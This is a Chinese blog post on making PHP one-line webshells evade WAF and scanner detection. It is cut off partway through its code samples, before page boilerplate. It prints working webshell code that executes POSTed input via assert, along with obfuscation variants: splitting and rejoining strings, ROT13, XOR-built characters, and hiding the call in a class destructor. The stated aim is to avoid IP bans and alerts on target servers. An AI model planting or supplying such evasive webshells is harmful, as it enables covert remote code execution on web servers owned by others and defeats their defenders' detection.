科迅免杀php一句话_谈谈php一句话木马的免杀

文章最后更新时间为:2019年07月05日 00:17:52

一句话木马叱咤江湖这么多年还是如此活跃,我个人理解是,方便,相比于二进制后门或者大马,一句话木马足够短,容易上传,并且有众多客户端,菜刀,Cknife,蚁剑,对于脚本小子来说,一句话木马大大降低了渗透的门槛。

但是一句话木马,已经不能适应现在的局势了,如今各大服务器纷纷装上了waf,一句话木马一旦被检测出来,一是会封ip,二是会发出报警信息,引起对方的警觉。

本文就来简单探讨一下php一句话木马的免杀,包括静态免杀和动态免杀。

1.静态免杀

php木马的静态免杀是很容易的,静态免杀基本是通过各种加密或者移位亦或等方式来隐藏关键词。下面以很常见的一句话木马举例:<?php @assert($_POST['x']);?>

1.1 隐藏关键字

waf检测到assert这个关键词,很大概率会被检测出来,那么我们可以尝试用别的词来生成,具体的生成方式有很多种,这里列举一下常见的几种方式,其实效果都差不多。拆解合并<?php

$ch = explode(".","hello.ass.world.er.t");

$c = $ch[1].$ch[3].$ch[4]; //assert

$c($_POST['x']);

?>

目前来说,这种方式已经很难奏效了。利用各种函数、编码

比如对套上一层ROT13编码$c=str_rot13('n!ff!re!nffreg');

$str=explode('!',$c)[3];

还有很多加解密方式,利用各种函数如array_map、array_key、preg_replace来隐藏关键字,这里就不多说了。随机亦或产生

这里可以参考 https://github.com/yzddmr6/webshell-venom,想法也很简单,就是利用了php的亦或来生成所需要的字母。比如

"Y"^"\x38"的结果就是a,同样的生成assert即可。$_StL="Y"^"\x38";

$_ENr="T"^"\x27";

$_ohw="^"^"\x2d";

$_gpN="~"^"\x1b";

$_fyR="g"^"\x15";

$_pAs="H"^"\x3c";

$c=$_StL.$_ENr.$_ohw.$_gpN.$_fyR.$_pAs;

上面讲了三种隐藏关键字的方式,作用大同小异,个人来说较推荐随机亦或的方式,有脚本在,也方便许多。

1.2 将关键操作隐藏在各种类、函数中

其实主要的目的还是做混淆。比如下面这个一句话木马:<?php

$ch = explode(".","hello.ass.world.er.rt.e.saucerman");

$c = $ch[1].$ch[5].$ch[4]; //assert

@$c($_POST['x']);

?>

在用D盾进行扫描时,还是很容易被检测出来。

我们可以把他隐藏在类中:<?php

class Test{

public $config='';

function __destruct(){

$ch = explode(".","

  • 0
    点赞
  • 7
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值